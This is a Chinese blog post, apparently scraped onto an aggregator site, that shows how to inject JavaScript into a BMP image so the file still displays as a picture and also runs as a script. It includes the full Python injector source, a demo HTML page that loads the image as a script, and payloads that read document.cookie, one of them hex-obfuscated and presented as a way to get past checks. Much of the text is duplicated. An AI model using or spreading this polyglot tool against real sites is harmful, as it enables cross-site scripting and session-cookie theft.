图片攻击-BMP图片中注入恶意JS代码
来源:互联网 发布:淘宝热销榜 编辑:程序博客网 时间:2024/05/16 18:40
昨天看到一篇文章《hacking throung images》,里面介绍了如何在BMP格式的图片里注入JS代码,使得BMP图片既可以正常显示,
也可以运行其中的JS代码,觉得相当有趣。
执行JS注入的脚本
关键:构造符合正常BMP格式的图片
步骤
1. 将原BMP文件的第三,第四字节替换为\x2F\x2A, 对应js中的注释符号/*
BMP文件的第三、四、五、六字节表示BMP文件的大小
2. 在BMP文件末尾添加
(1)\xFF
(2)\x2A\x2F,对应的js中的注释符号*/
(3)\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式
(4)定制的JS代码
BMPinjector.py源码如下(Macro Ramili原本的源码)
演示
下面演示实际效果
运行脚本,将指定的JS代码写入到正常的BMP图片中
格式:python 脚本名 -i 正常BMP格式图片 JSPayload
运行 http://xxx/run.html
也可以采用js混淆来绕过检查,得到和上面一样的效果
参考:
http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html
也可以运行其中的JS代码,觉得相当有趣。
执行JS注入的脚本
关键:构造符合正常BMP格式的图片
步骤
1. 将原BMP文件的第三,第四字节替换为\x2F\x2A, 对应js中的注释符号/*
BMP文件的第三、四、五、六字节表示BMP文件的大小
2. 在BMP文件末尾添加
(1)\xFF
(2)\x2A\x2F,对应的js中的注释符号*/
(3)\x3D\x31\x3B,对应的=1; 是为了伪造成BMP格式
(4)定制的JS代码
BMPinjector.py源码如下(Macro Ramili原本的源码)
#!/usr/bin/env python2.7import osimport argparsedef injectFile(payload,fname): f = open(fname,"r+b") b = f.read() f.close() f = open(fname,"w+b") f.write(b) f.seek(2,0) f.write(b'\x2F\x2A') f.close() f = open(fname,"a+b") f.write(b'\xFF\x2A\x2F\x3D\x31\x3B') f.write(payload) f.close() return Trueif __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("filename",help="the bmp file name to infected") parser.add_argument("js_payload",help="the payload to be injected. For exampe: \"alert(1);\"") args = parser.parse_args() injectFile(args.js_payload,args.filename)
演示
下面演示实际效果
运行脚本,将指定的JS代码写入到正常的BMP图片中
格式:python 脚本名 -i 正常BMP格式图片 JSPayload
python BMPinjector.py -i 1.bmp "alert(document.cookie);"
演示页面run.html<html><head><title>Opening an image</title></head><body><img src="1.bmp"\><script src="1.bmp"></script></body></html>
也可以采用js混淆来绕过检查,得到和上面一样的效果
python BMPinjector.py -i 1.bmp "var _0x9c4c=\"\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\"; function MsgBox(_0xccb4x3){alert(eval(_0xccb4x3));} ;MsgBox(_0x9c4c);"
注意:\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65对应document.cookie参考:
http://marcoramilli.blogspot.com/2013/10/hacking-through-images.html
0 0
- 图片攻击-BMP图片中注入恶意JS代码
- BMP图片中注入恶意JS代码
- BMP图片解码代码
- 读取bmp图片代码
- BMP图片文件加密代码
- jpg图片攻击测试代码
- API显示BMP图片ASM代码
- C++生成Bmp图片底层代码
- OpenGL-纹理读取BMP图片-代码
- Android webView 中 注入js 获取网页中的 图片
- js获取html代码中图片地址
- Richedit中插入图片BMP(BMP,文件),GIF(文件)
- Richedit中插入图片BMP(BMP,文件),GIF(文件)
- vc6中如何加入BMP图片资源
- BCB中显示图片BMP和JPEG
- 从bmp图片中读取数据
- 游戏中bmp图片文件的读取
- jdk中解析BMP图片的过程
- jQuery.fn和jQuery.prototype区别介绍
- 七牛技术总监陈超:记Spark Summit China 2015
- 数据库
- 关于java中的权限修饰符
- 图像处理与计算机视觉:基础,经典以及最近发展(4)图像处理与分析
- 图片攻击-BMP图片中注入恶意JS代码
- LIC1430N The license could not be added to the nodelock file
- MyEclipse启动时提示选择工作空间
- 【转载】硬盘是否需要分区
- openstack学习笔记--创建实例
- LeetcodeOJ Two Sum
- 基于行为,拦截某款Flash游戏服务器端的功能,利用某款开源模拟服务器端
- cocoapods 的安装使用及gem的常用命令
- 文章标题